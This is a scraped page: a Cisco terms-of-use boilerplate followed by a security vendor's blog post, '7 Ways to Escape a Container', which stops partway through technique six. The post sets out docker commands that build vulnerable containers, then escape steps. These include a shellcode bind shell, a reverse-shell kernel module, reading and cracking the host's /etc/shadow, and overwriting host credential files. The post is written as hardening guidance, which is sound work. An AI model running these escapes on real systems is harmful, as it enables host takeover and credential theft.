https://www.panoptica.app/research/7-ways-to-escape-a-container x Cisco Terms of Use Effective: February 25, 2022 Section 1. Scope and Applicability These Cisco Terms of Use (this "Agreement") between You and Cisco cover Your use of the Software and Cloud Services ("Cisco Technology") obtained through this site. The Cisco Technology is intended for use by business users. Definitions of capitalized terms are in Section 11. You agree to be bound by the terms of this Agreement through (a) Your download, installation, or use of the Cisco Technology; or (b) Your express agreement to this Agreement. If You do not have authority to enter into this Agreement or You do not agree with its terms, do not use the Cisco Technology. Section 2. Using Cisco Technology 2.1 License and Right to Use. Cisco grants You, for Your direct benefit during the Usage Term and for the full scope of Your Entitlement under this Agreement, a non-exclusive, non-transferable (except with respect to Software as permitted under the Cisco Software Transfer and Re-Use Policy) (a) license to use the Software; and (b) right to use the Cloud Services (collectively, the "Usage Rights"). 2.2 Use by Third Parties. You may permit Authorized Third Parties to exercise the Usage Rights on Your behalf, provided that You are responsible for (a) ensuring that such Authorized Third Parties comply with this Agreement; and (b) any breach of this Agreement by such Authorized Third Parties. 2.3 Free Service. Cisco is making this Cisco Technology available to You without charge, up to certain capacity limits as described in Section 10 below, and subject to the terms of this Agreement. You agree that Cisco, in its sole discretion and for any or no reason, may terminate Your Usage Rights (or any part thereof) and that any termination may be without prior notice and without liability to Cisco. Cisco may, for example, suspend or terminate Your Usage Rights if (i) Cisco has reason to believe that You engaged in any fraudulent behaviour as it relates to the Cloud Services, or (ii) You use Cisco Technology beyond Your Entitlement. You are solely responsible for exporting Your customer data from the Cisco Technology prior to termination, and, except as required by law, Cisco will provide You a reasonable opportunity to retrieve such data. 2.4 Upgrades or Additional Copies of Software. You may only use Upgrades or additional copies of the Software beyond Your Entitlement if You have (a) acquired those rights under a support agreement covering the applicable Software; or (b) You have purchased the right to use Upgrades or additional copies separately. 2.5 Interoperability of Software. If required by law and upon Your request, Cisco will provide You with the information needed to achieve interoperability between the Software and another independently created program, provided You agree to any additional terms reasonably required by Cisco. You will treat such information as Confidential Information. Section 3. Additional Conditions of Use 3.1 Cisco Technology Generally. Unless expressly agreed by Cisco, You may not (a) transfer, sell, sublicense, monetize, or make the functionality of any Cisco Technology available to any third party; (b) use the Software on second hand or refurbished Cisco equipment not authorized by Cisco, or use Software that is licensed for a specific device on a different device (except as permitted under Cisco's Software License Portability Policy); (c) remove, modify, or conceal any product identification, copyright, proprietary, intellectual property notices or other marks; (d) reverse engineer, decompile, decrypt, disassemble, modify, or make derivative works of the Cisco Technology; or (e) use Cisco Content other than as part of Your permitted use of the Cisco Technology. 3.2 Cloud Services. You will not intentionally (a) interfere with other users' access to, or use of, the Cloud Service, or with its security; (b) facilitate the attack or disruption of the Cloud Service, including a denial of service attack, unauthorized access, penetration testing, crawling, or distribution of malware (including viruses, trojan horses, worms, time bombs, spyware, adware, and cancelbots); (c) cause an unusual spike or increase in Your use of the Cloud Service that negatively impacts the Cloud Service's operation; or (d) submit any information that is not contemplated in the applicable Documentation. 3.3 Evolving Cisco Technology. Cisco may: (a) enhance or modify the features, functionality, and capacity limits of this Cisco Technology at any time, in its sole discretion, without liability; and (b) perform scheduled maintenance of the infrastructure and software used to provide the Cloud Service, during which time You may experience some disruption to that Cloud Service. Whenever reasonably practicable, Cisco will provide You with advance notice of such maintenance. You acknowledge that, from time to time, Cisco may need to perform emergency maintenance without providing You advance notice, during which time Cisco may temporarily suspend Your access to, and use of, the Cloud Service. Cisco reserves the right (a) to end the life of this Cisco Technology, including component functionality, ("EOL"), and/or (b) to incorporate all or some of the features and functionality of this Cisco Technology into a Cisco paid offer at any time, in its sole discretion, and without liability ("Cisco Offering"). Any new Cisco Offering will be subject to its own terms and conditions. 3.4 Protecting Account Access. You will keep all account information up to date, use reasonable means to protect Your account information, passwords and other login credentials, and promptly notify Cisco of any known or suspected unauthorized use of or access to Your account. 3.5 Use with Third-Party Products. If You use the Cisco Technology together with third-party products, such use is at Your risk. You are responsible for complying with any third-party provider terms, including its privacy policy. Cisco does not provide support or guarantee ongoing integration support for products that are not a native part of the Cisco Technology. 3.6 Open Source Software. Open source software not owned by Cisco is subject to separate license terms as set out at www.cisco.com/go/opensource. The applicable open source software licences will not materially or adversely affect Your ability to exercise Usage Rights in applicable Cisco Technology. Section 4. Confidential Information and Use of Data 4.1 Confidentiality. Recipient will hold in confidence and use no less than reasonable care to avoid disclosure of any Confidential Information to any third party, except for its employees, affiliates, and contractors who have a need to know ("Permitted Recipients"). Recipient: (a) must ensure that its Permitted Recipients are subject to written confidentiality obligations no less restrictive than the Recipient's obligations under this Agreement, and (b) is liable for any breach of this Section by its Permitted Recipients. Such nondisclosure obligations will not apply to information that: (i) is known by Recipient without confidentiality obligations; (ii) is or has become public knowledge through no fault of Recipient; or (iii) is independently developed by Recipient. Recipient may disclose Discloser's Confidential Information if required under a regulation, law or court order provided that Recipient provides prior notice to Discloser (to the extent legally permissible) and reasonably cooperates, at Discloser's expense, regarding protective actions pursued by Discloser. Upon the reasonable request of Discloser, Recipient will either return, delete or destroy all Confidential Information of Discloser and certify the same. 4.2 How We Use Data. Cisco will access, process and use data in connection with Your use of the Cisco Technology in accordance with applicable privacy and data protection laws. For further detail, please visit Cisco's Security and Trust Center. 4.3 Notice and Consent. To the extent Your use of the Cisco Technology requires it, You are responsible for providing notice to, and obtaining consents from, individuals regarding the collection, processing, transfer and storage of their data through Your use of the Cisco Technology. Section 5. Ownership Except where agreed in writing, nothing in this Agreement transfers ownership in, or grants any license to, any intellectual property rights. You retain any ownership of Your content and Cisco retains ownership of the Cisco Technology and Cisco Content. You acknowledge and agree that any questions, comments, suggestions, ideas, feedback or other information about this Cisco Technology provided by You to Cisco ("Feedback") are non-confidential and Cisco may use any Feedback You provide in connection with Your use of the Cisco Technology as part of its business operations without acknowledgment or compensation to You. Section 6. Warranties and Representations To the extent allowed by applicable law, Cisco expressly disclaims all warranties and conditions of any kind, express or implied, including without limitation any warranty, condition or other implied term as to merchantability, fitness for a particular purpose or non-infringement, or that the Cisco Technology will be secure, uninterrupted or error free. If You are a consumer, You may have legal rights in Your country of residence that prohibit the limitations set out in this Section from applying to You, and, where prohibited, they will not apply Section 7. Liability Neither party will be liable for indirect, incidental, exemplary, special, or consequential damages; loss or corruption of data or interruption or loss of business; or loss of revenues, profits, goodwill, or anticipated sales or savings. The maximum aggregate liability of each party under this Agreement is limited to $5,000 USD. These limitations of liability do NOT apply to liability arising from (a) Your breach of Sections 2.1 (License and Right to Use), 3.1 (Cisco Technology Generally), 3.2 (Cloud Services) or 9.7 (Export). These limitations of liability apply whether the claims are in warranty, contract, tort (including negligence), infringement, or otherwise, even if either party has been advised of the possibility of such damages. Nothing in this Agreement limits or excludes any liability that cannot be limited or excluded under applicable law. These limitations of liability are cumulative and not per incident. Section 8. Termination and Suspension 8.1 Suspension. Cisco may immediately suspend Your Usage Rights if You breach Sections 2.1 (License and Right to Use), 3.1 (Cisco Technology Generally), 3.2 (Cloud Services) or 9.7 (Export). 8.2 Termination. Cisco, in its sole discretion and for any or no reason, may terminate Your access to this Cisco Technology or any part thereof and any termination may be without prior notice and without liability to Cisco. Cisco may, for example, suspend or terminate Your access immediately if You breach Sections 2.1 (License and Right to Use), 3.1 (Cisco Technology Generally), 3.2 (Cloud Services), or 9.7 (Export). Upon termination of this Agreement, You must stop using the Cisco Technology and destroy any copies of Software and Confidential Information within Your control. Section 9. General Provisions 9.1 Survival. Sections 4 (Confidential Information and Use of Data), 5 (Ownership), 7 (Liability), 8 (Termination and Suspension), and 9 (General Provisions) survive termination or expiration of this Agreement. 9.2 Third-Party Beneficiaries. This Agreement does not grant any right or cause of action to any third party. 9.3 Assignment and Subcontracting. Except as set out below, neither party may assign or novate this Agreement in whole or in part without the other party's express written consent. Cisco may (a) by written notice to You, assign or novate this Agreement in whole or in part to an Affiliate of Cisco, or otherwise as part of a sale or transfer of any part of its business; or (b) subcontract any performance associated with the Cisco Technology to third parties, provided that such subcontract does not relieve Cisco of any of its obligations under this Agreement. 9.4 U.S. Government End Users. The Software, Cloud Services and Documentation are deemed to be "commercial computer software" and "commercial computer software documentation" pursuant to FAR 12.212 and DFARS 227.7202. All U.S. Government end users acquire the Cisco Technology and Documentation with only those rights set forth in this Agreement. Any provisions that are inconsistent with federal procurement regulations are not enforceable against the U.S. Government 9.5 Modifications to this Agreement. Cisco may change this Agreement or any of its components by updating it on Cisco.com and/or the Documentation page, which can be found at https:// community.cisco.com/. Cisco will exercise commercially reasonable efforts to provide notice of any material changes to this Agreement, and within three (3) business days of posting changes to this Agreement, they will be binding. If you do not agree with the changes, you must discontinue using the Cisco Technology at that time. If you continue using the Cisco Technology after that time, you will be deemed to have accepted the changes to this Agreement. 9.6 Compliance with Laws. Each party will comply with all laws and regulations applicable to their respective obligations under this Agreement. Cisco may restrict the availability of the Cisco Technology in any particular location or modify or discontinue features to comply with applicable laws and regulations. If You use the Cisco Technology in a location with local laws requiring a designated entity to be responsible for collection of data about individual end users and transfer of data outside of that jurisdiction (e.g., Russia and China), You acknowledge that You are the entity responsible for complying with such laws. 9.7 Export. Cisco's Software, Cloud Services, products, technology, and services (collectively the "Cisco Products") are subject to U.S. and local export control and sanctions laws. You acknowledge and agree to the applicability of and Your compliance with those laws, and You will not receive, use, transfer, export, or re-export any Cisco Products in a way that would cause Cisco to violate those laws. You also agree to obtain any required licenses or authorizations 9.8 Governing Law and Venue. This Agreement, and any disputes arising from it, will be governed exclusively by the applicable governing law below, based on Your primary place of business (or primary residence, if you are not a business) and without regard to conflicts of laws rules or the United Nations Convention on the International Sale of Goods. The courts located in the applicable venue below will have exclusive jurisdiction to adjudicate any dispute arising out of or relating to the Agreement or its formation, interpretation or enforcement. Each party hereby consents and submits to the exclusive jurisdiction of such courts. Regardless of the below governing law, either party may seek interim injunctive relief in any court of appropriate jurisdiction with respect to any alleged breach of Cisco's intellectual property or proprietary rights Your Primary Place of Business Governing Law Jurisdiction and Venue Any location not specified below | State of California, United States of America | Superior Court of California, County of Santa Clara and Federal Courts of the Northern District of California | Australia | Laws of the State of New South Wales, Australia | State and Federal Courts of New South Wales | | Canada | Province of Ontario, Canada | Courts of the Province of Ontario | | China | Laws of the People's Republic of China | Hong Kong International Arbitration Center | | Europe (excluding Italy), Middle East, Africa, Asia (excluding Japan and China), Oceania (excluding Australia) | Laws of England | English Courts | | Italy | Laws of Italy | Court of Milan | | Japan | Laws of Japan | Tokyo District Court of Japan | | United States, Latin America or the Caribbean | State of California, United States of America | Superior Court of California, County of Santa Clara and Federal Courts of the Northern District of California | If You are a United States public sector agency or government institution located in the United States, the laws of the primary jurisdiction in which You are located will govern this Agreement and any disputes arising from it. For U.S. Federal Government users, this Agreement will be controlled and construed under the laws of the United States of America. 9.9 Notice. Any notice delivered by Cisco to You under this Agreement will be delivered on Cisco.com. Notices to Cisco should be sent to Cisco Systems, Inc., Office of General Counsel, 170 West Tasman Drive, San Jose, CA 95134. 9.10 Force Majeure. Neither party will be responsible for failure to perform its obligations due to an event or circumstances beyond its reasonable control. 9.11 No Waiver. Failure by either party to enforce any right under this Agreement will not waive that right. 9.12 Severability. If any portion of this Agreement is not enforceable, it will not affect any other terms. 9.13 Entire agreement. This Agreement is the complete agreement between the parties with respect to the subject matter of this Agreement and supersedes all prior or contemporaneous communications, understandings or agreements (whether written or oral). 9.14 Translations. Cisco may provide local language translations of this Agreement in some locations. You agree that those translations are provided for informational purposes only and if there is any inconsistency, the English version of this Agreement will prevail. 9.15 Order of Precedence. If there is any conflict between this Agreement and any Cisco policies expressly referenced in this Agreement, the order of precedence is: (a) this Agreement; then (b) any applicable Cisco policy expressly referenced in this Agreement. 9.16 Language Election for Purchasers in Quebec. You confirm Your Agreement that this Cisco Technology is currently provided in English only. Section 10. Additional Terms 10.1 Restrictions on Use by Minor Children. This Cisco Technology is not intended for use by persons younger than the age of consent in their relevant jurisdiction (e.g.,13 years old in the United States under the US Children's Online Privacy Protection Act of 1998, or 16 or 13 years old in the European Union as per Member State law) ("Minor Children"). Minor Children are not permitted to create an account and You will not authorize Minor Children to access the Cisco Technology. 10.2 Capacity Restrictions. Your right to access and use this Cisco Technology is currently limited to five (5) nodes dedicated to applications/microservices. 10.3 Limited Community Support. This Cisco Technology is provided on a free-of-charge basis, as-is, and without support. Cisco has no obligation to maintain, repair, or upgrade this Cloud Service and Cisco will not provide user support services in connection with this Cisco Technology. User can refer to self-service help materials that cover a range of topics or reach out to our community forum to engage in community support discussions on our Documentation page at https://community.cisco.com /. Cisco makes no representations about and has no liability for these community support resources. All use of these resources, and the advice and guidance therein, is at Your own risk. 10.4 No Competitive Analysis. By agreeing to these terms, You represent and warrant that you will not use this Cisco Technology or its Documentation to (a) copy ideas, features, functions, or graphics; (b) develop competing products or services; or (c) perform competitive analyses. 10.5 Beta Functionality. User acknowledges and agrees that all or some components or functionality of the Cisco Technology may be in beta stage and may not have been (and may not become) productized or commercialized. You acknowledge that Your use and evaluation of this Cisco Technology is at Your own risk. Section 11. Definitions "Affiliate" means any corporation or company that directly or indirectly controls, or is controlled by, or is under common control with the relevant party, where "control" means to: (a) own more than 50% of the relevant party; or (b) be able to direct the affairs of the relevant party through any lawful means (e.g., a contract that allows control). "Authorized Third Parties" means Your Users, Your Affiliates, Your third-party service providers, and each of their respective Users, permitted to access and use the Cisco Technology on Your behalf as part of Your Entitlement. "Cisco" "we" "our" or "us" means Cisco Systems, Inc. or its applicable Affiliate(s). "Cisco Content" means any (a) content or data provided by Cisco to You as part of Your use of the Cisco Technology and (b) content or data that the Cisco Technology generates or derives in connection with Your use. Cisco Content includes geographic and domain information, rules, signatures, threat intelligence, and data feeds, and Cisco's compilation of suspicious URLs. "Cloud Service" means the Cisco hosted software-as-a-service offering or other Cisco cloud-enabled feature described in this Agreement. Cloud Services include applicable Documentation and may also include Software. "Confidential Information" means non-public proprietary information of the disclosing party ("Discloser") obtained by the receiving party ("Recipient") in connection with this Agreement, which is (a) conspicuously marked as confidential or, if verbally disclosed, is summarized in writing to the Recipient within a reasonable time period after disclosure and marked as confidential; or (b) is information which by its nature should reasonably be considered confidential whether disclosed in writing or verbally. "Delivery Date" means the date on which the Cloud Service is made available for Your use or, when Usage Rights in Software and Cloud Services are granted together, the earlier of the date Software is made available for download, or the date on which the Cloud Service is made available for Your use. "Documentation" means the technical specifications and usage materials officially published by Cisco or available on https://community.cisco.com/ specifying the functionalities and capabilities of the applicable Cisco Technology. "Entitlement" means the specific metrics, duration, and quantity of Cisco Technology that You acquire from Cisco under this Agreement. "Software" means the Cisco computer programs including Upgrades, firmware and applicable Documentation. "Upgrades" means all updates, upgrades, bug fixes, error corrections, enhancements and other modifications to the Software. "Usage Term" means the period commencing on the Delivery Date and continuing until expiration or termination of the Entitlement, during which period You have the right to use the applicable Cisco Technology. "User" means the individuals (including contractors or employees) permitted to access and use the Cisco Technology on Your behalf as part of Your Entitlement. "You" means the individual or legal entity using the Cisco Technology. NEW Cloud Security Academy Level up your skills with hands-on lessons. Get started x * Contact us Log in New Logo Get Started Solutions Resources Image descriptionSIGN UP FREEGET A DEMO Get Started Jump right in! Find out all about Panoptica and try it for yourself. Learn [Why-Choose] [] Why choose Panoptica? Four reasons you need the industry's leading cloud-native security solution. [Open-Sourc] [] Open source projects Contribute to Panoptica-related projects under the OpenClarity umbrella. Try it for Yourself [Demo] [] Demo Take an easy, interactive tour of Panoptica's comprehensive feature set. Solutions Secure your applications from development to runtime. [Cloud-Nati] [] Cloud Native Application Security Solution Reduce tools and vendors as you create secure, compliant cloud native apps. [Attack-Pat] [] Attack-Path Analysis Look at paths from diverse angles and get help with risk mitigation and resolution. [Code-CICD-] [] Code & CI/CD Security Get real-time vulnerability detection from development to runtime. [Cloud-Secu] [] Cloud Security Posture Management (CSPM) Scan, monitor, and remediate critical attack paths in your cloud stack instantly. [Cloud-Work] [] Cloud Workload Protection (CWP) Scale across environments and prioritize real-time risks for cloud workloads. [Applicatio] [] API Security Inventory APIs, assess risk, and analyze specs with a single solution. Resources Learn more about the industry's leading cloud-native security platform. LEARN [Documents] [] Documentation [FAQ] [] FAQ [Community] [Community] Community [Academy-1] [Academy-1] Academy EXPLORE [Blog] [] Blog [Datasheet-] [] eBooks and White Papers [research] [] Research PARTICIPATE [Events] [] Events [Webinar] [] Webinars and Videos New Logo New Logo Close Navigation Get Started Get Started Jump right in! Find out all about Panoptica and try it for yourself. Learn [Why-Choose] [] Why choose Panoptica? Four reasons you need the industry's leading cloud-native security solution. [Open-Sourc] [] Open source projects Contribute to Panoptica-related projects under the OpenClarity umbrella. Try it for Yourself [Demo] [] Demo Take an easy, interactive tour of Panoptica's comprehensive feature set. Solutions Solutions Secure your applications from development to runtime. [Cloud-Nati] [] Cloud Native Application Security Solution Reduce tools and vendors as you create secure, compliant cloud native apps. [Attack-Pat] [] Attack-Path Analysis Look at paths from diverse angles and get help with risk mitigation and resolution. [Code-CICD-] [] Code & CI/CD Security Get real-time vulnerability detection from development to runtime. [Cloud-Secu] [] Cloud Security Posture Management (CSPM) Scan, monitor, and remediate critical attack paths in your cloud stack instantly. [Cloud-Work] [] Cloud Workload Protection (CWP) Scale across environments and prioritize real-time risks for cloud workloads. [Applicatio] [] API Security Inventory APIs, assess risk, and analyze specs with a single solution. Resources Resources Learn more about the industry's leading cloud-native security platform. LEARN [Documents] [] Documentation [FAQ] [] FAQ [Community] [Community] Community [Academy-1] [Academy-1] Academy EXPLORE [Blog] [] Blog [Datasheet-] [] eBooks and White Papers [research] [] Research PARTICIPATE [Events] [] Events [Webinar] [] Webinars and Videos SIGN UP FREE GET A DEMO * Log in * Contact us API Security Container Security 7 Ways to Escape a Container [ori] By: Ori Abargil Aug 28, 2023 Share Twitter share link LinkedIn share link Facebook share link Opening In today's modern environment, where containers have become the go-to solution for application deployments, the security of these containers has emerged as a critical concern. In fact, containers have become the primary attack surface in many scenarios. In this post, we will delve into container escapes, exploring seven common techniques that can be used to breach container boundaries. For each escape technique, we will emphasize the specific configuration of a vulnerable container that makes it susceptible to the escape technique, and outline the minimal capabilities required inside the container to execute the escape. This knowledge will allow you to evaluate whether a container is suitable for executing an escape and select the most effective protective measures accordingly. By understanding these essential requirements, you can effectively evaluate the security posture of your containers and take necessary precautions to mitigate potential risks. In this post we will assume some basic understanding of Linux and Docker. If you are not familiar with Linux capabilities and containers, you can read this 3-part post by Datadog that explains important concepts. Container Escape Techniques The container escape techniques described in this post are already known. This post highlights the minimal required Linux capabilities within the container and its setup to execute the escape. The table below shows what the minimal required Linux capabilities are in each escape technique. ID Techniques Name Minimal Linux Capabilities 1 Mount the host filesystem SYS_ADMIN 2 Use a mounted docker socket No capability is required 3 Process Injection SYS_PTRACE 4 Adding a malicious kernel module SYS_MODULE 5 Reading secrets from the host DAC_READ_SEARCH 6 Overriding files on host DAC_READ_SEARCH, DAC_OVERRIDE 7 Abusing notify on release SYS_ADMIN, DAC_OVERRIDE Before we delve into the different techniques to escape a container, we would like to highlight few important notes: 1. When running a container in docker without an explicit network, the container will use the default bridge network that docker sets up automatically. The default IP gateway of this network is usually 172.17.0.1, and it is the host IP. You will use this IP address to connect to the host in some of the container escape techniques presented in this post. 2. For each one of the container escape techniques, we will present the minimal required Linux capabilities to perform the escape steps. In some containers, additional Linux capabilities might be required to use apt to install the tools that are used in the escape commands. If the tools are already installed, the following additional Linux capabilities are not essential for the escape commands: 1. SETGID 2. SETUID 3. CHOWN 4. FOWNER 5. DAC_OVERRIDE* * In escape techniques number 6, 7 DAC_OVERRIDE capability is required for the escape commands. 3. When a container is created, it has a set of default Linux capabilities. In each container escape technique, we will show how to create such vulnerable container. During the creation, we will explicitly remove all Linux capabilities except for the minimal required ones. To create a container that will also allow the installation of additional tools (using apt), update the --cap-add flag to include the following Linux capabilities in addition to the minimal required ones: [Click to copy]--cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --cap-add= 1. Mount the host filesystem Escape description This technique enables escape from a container by mounting the host filesystem. Vulnerable container requirements * Minimal required Linux capabilities: SYS_ADMIN. SYS_ADMIN capability allows to execute the 'mount' command. * Required container setup: The host filesystem device should be mounted within the container. Note: you can find the host filesystem device by executing 'lsblk'. Commands to setup a vulnerable container [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --security-opt apparmor=unconfined --device=/dev/:/ ubuntu bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined --device=/dev/:/ ubuntu bash Note: AppArmor protection disables 'mount' operation even if the SYS_ADMIN capability is assigned to container process. Thus, we disable AppArmor during a vulnerable container creation. TIP: You can see which AppArmor profile, if any, applies to container's process by inspecting the '/proc/$$/attr/current' file. Commands to escape the container [Click to copy]mount /dev/ /mnt ls /mnt 2. Use a mounted docker socket Escape description Docker daemon is the process that manages containers on the host and listens for Docker API requests via the Docker socket. If the Docker socket is mounted in the container, it allows to communicate with Docker daemon from within the container. Vulnerable container requirements * Minimal required Linux capabilities: No capability is required. * Required container setup: + The Docker socket should be mounted in the container. The Docker socket will usually be located at /run/docker.sock on the host. + The container should have a way to communicate with the Docker daemon using the Docker socket. We will show how to use Docker CLI to do so. [Click to copy]# docker install: https://docs.docker.com/engine/install/ubuntu/ Commands to setup a vulnerable container [Click to copy]docker run -it --cap-drop=ALL -v /var/run/docker.sock:/run/docker.sock ubuntu bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE -v /var/run/docker.sock:/run/docker.sock ubuntu bash Commands to escape the container Create a privilege container with host filesystem mounted inside the container. [Click to copy]docker run -it --privileged -v /:/host/ ubuntu bash -c "chroot /host/" In the command above we create a new privileged container that mounts the host files system and uses it to escape from the first container to the host. 3. Process Injection Escape description Process injection allows one process to write into the memory space of another process and execute a shellcode. To inject a shellcode to a process in the host, the container must have 2 things: 1. The container's process must have the SYS_PTRACE Linux capability. 2. The container's host must share its process namespace with the container. The inject operation can fail and could lead to unwanted behavior. Therefore, to avoid such a situation, in the escape technique we will use a Python http server that runs on the host as the target process and inject a shellcode into its memory. Vulnerable container and host requirements * Minimal required Linux capabilities: SYS_PTRACE. SYS_PTRACE capability allows to execute the 'ptrace' system call. * Required container setup: + The container's host should map its process namespace to the container. TIP: you can validate which Linux namespaces are shared between the host and the container by executing 'lsns' command on both. + The following tools should be installed within the container: [Click to copy]apt install vim # or any other editor apt install gcc apt install net-tools apt install netcat * Required container's host setup: The container's host should run a Python http server: [Click to copy]/usr/bin/python3 -m http.server 8080 & Commands to setup a vulnerable container [Click to copy]docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --security-opt apparmor=unconfined ubuntu bash Click for extra capabilities command [Click to copy]docker run -it --pid=host --cap-drop=ALL --cap-add=SYS_PTRACE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu bash Note: AppArmor protection disables 'ptrace' operation even if the SYS_PTRACE capability is assigned to the container process. Thus, we disable AppArmor during a vulnerable container creation. Commands to escape the container In this technique we use this infect.c code (by 0x00pf) to create an injector. We have also replaced the shellcode (lines 36-39) with the following shell code taken from https://www.exploit-db.com/exploits/ 41128 and changed the 'SHELLCODE_SIZE' (line 33) to 87. "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f \x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\ x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\ x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\ x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\ x0f\x05" Use the commands bellow to escape the container: [Click to copy]# List process that runs on the host and container. ps -eaf | grep "/usr/bin/python3 -m http.server 8080" | head -n 1 # Copy and paste the payload from inject.c vim inject.c gcc -o inject inject.c # Inject the shellcode payload that will open a listener over port 5600 ./inject # Bind over port 5600 nc 5600 4. Adding a malicious kernel module Escape description Linux containers share the same operating system kernel but are isolated in their container process from the rest of the system. A container that has the SYS_MODULE capability can load and unload kernel modules into the shared kernel. In this container escape technique, we will create a module in the container that will open a reverse shell from the host. Next, we will utilize the SYS_MODULE capability to add this module as a kernel module. Vulnerable container requirements * Minimal required Linux capabilities: SYS_MODULE. SYS_MODULE capability allows to execute the 'insmod' system call. * Required container setup: + The escape requires installing kernel headers matching the host operating system release. + The containers should have the following tools installed: [Click to copy]apt install make apt install -y vim # or any other editor apt install -y netcat apt install -y gcc # Container should run with the same operating system version as the host. # Get the kernel version by 'uname -r' version=$(uname -r) apt install -y linux-headers-$version apt install -y kmod apt install net-tools Commands to setup a vulnerable container [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_MODULE ubuntu: bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_MODULE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu: bash Commands to escape the container In this technique we use this reverse-shell.c code to create the malicious kernel module. We will change the IP in the reverse shell to the IP of the container. We also use the Makefile from there. [Click to copy]# Get the IP address of the container ifconfig # Copy the revese-shell.c and update the IP address in the code with the IP of the container vim reverse-shell.c # Copy the Makefile vim Makefile make nc -lnvp 4444 & # Inject the module into the kernel's host insmod reverse-shell.ko fg % 5. Reading secrets from the host Escape description The DAC_READ_SEARCH capability allows to bypass file or directory read permission checks and use the 'open_by_handle_at' system call to read it. This system call allows to traverse the entire host's filesystem. In this container escape technique, we will execute code that reads /etc/passwd and /etc/sahdow files from the host, using the 'open_by_handle_at' system call, and save their content in the container. Next, we will use 'John the Ripper' password cracker to obtain host users' passwords which can be used for SSH connection to the host. Vulnerable container and host requirements * Minimal required Linux capabilities: DAC_READ_SEARCH. DAC_READ_SEARCH capability allows to execute the 'open_by_handle_at' system call. * Required container setup: The container should have the following tools installed: [Click to copy]apt install -y vim # or any other editor apt install -y ssh apt install -y gcc apt install john -y # John the Ripper password cracker package apt install net-tools apt install -y netcat * Required container's host setup: The container's host should have: + At least one user with a valid password. + openssh-server package installed. [Click to copy]sudo apt install openssh-server Commands to setup a vulnerable container [Click to copy]sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH ubuntu bash Click for extra capabilities command [Click to copy]sudo docker run -it --cap-drop=ALL --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --cap-add=DAC_OVERRIDE ubuntu bash Commands to escape the container In this technique we use the shocker.c exploit to read the files from the host. [Click to copy]# Copy the shocker.c content vim shocker.c gcc -o shocker shocker.c # Use the shocker to read files from host:./shocker /host/path /container/path ./shocker /etc/passwd passwd ./shocker /etc/shadow shadow # Combine passwd and shadow files unshadow passwd shadow > password # Use John the Ripper to crack passwords john password # Connect to the host with the John the ripper's output credentials ssh @ password: 6. Overriding files on host Escape description The DAC_OVERRIDE capability allows to bypass read, write and execute permissions checks. Container that runs with DAC_READ_SEARCH and DAC_OVERRIDE capabilities can read and write files on the host filesystem. In this escape, we will use these capabilities to update user's credential files on the host, and later login to the host with the updated credentials. In this container escape technique, we will present 2 options: 1. Update user's login password by overriding /etc/shadow and /etc/ passwd files on the host. 2. Update user's SSH authorized keys by overriding ~/.ssh/ authorized_keys file on the host with a generated SSH public key that we own its private key. Vulnerable container and host requirements * Minimal required Linux capabilities: DAC_READ_SEARCH, DAC_OVERRIDE. DAC_READ_SEARCH capability allows to read files from the container's host, and DAC_OVERRIDE capability allows to write files on the container's host. * Required container setup: The container should have the following tools installed: [Click to copy]apt install -y vim # or any other editor apt install -y ssh apt install -y gcc * Required container's host setup: The container's host should have the openssh-server package installed. [Click to copy]sudo apt install openssh-server Commands to setup a vulnerable container Option 1 - override user's password: [Click to copy]docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN ubuntu bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=CHOWN --cap-add=SETGID --cap-add=SETUID --cap-add=FOWNER ubuntu bash Note: The CHOWN capability is needed to create a new user. Option 2 - override user's authorized keys: [Click to copy]docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH ubuntu bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=DAC_OVERRIDE --cap-add=DAC_READ_SEARCH --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER ubuntu bash Commands to escape the container In this technique we use the shocker.c exploit code from the previous escape technique and the shocker_write.c to write files to the host. Option 1 - override user's password: [Click to copy]# Copy and paste the shocker.c content vim shocker.c gcc -o read shocker.c # Copy and paste the shocker_write.c content vim shocker_write.c gcc -o write shocker_write.c # Use the ./read to read files from host: ./read /host/path /container/path ./read /etc/shadow shadow ./read /etc/passwd passwd # Create new user and reset its password useradd echo ':' | chpasswd # Update the new user details in the copied files from host tail -1 /etc/passwd >> passwd tail -1 /etc/shadow >> shadow # Copy the new user password hash paste it also for the root user in the shadow file. This will allow us to elevate permissions on the host. vim shadow # Use the ./write to write files from host: ./write /host/path /container/path ./write /etc/passwd passwd ./write /etc/shadow shadow # Connect to host over ssh using the new user 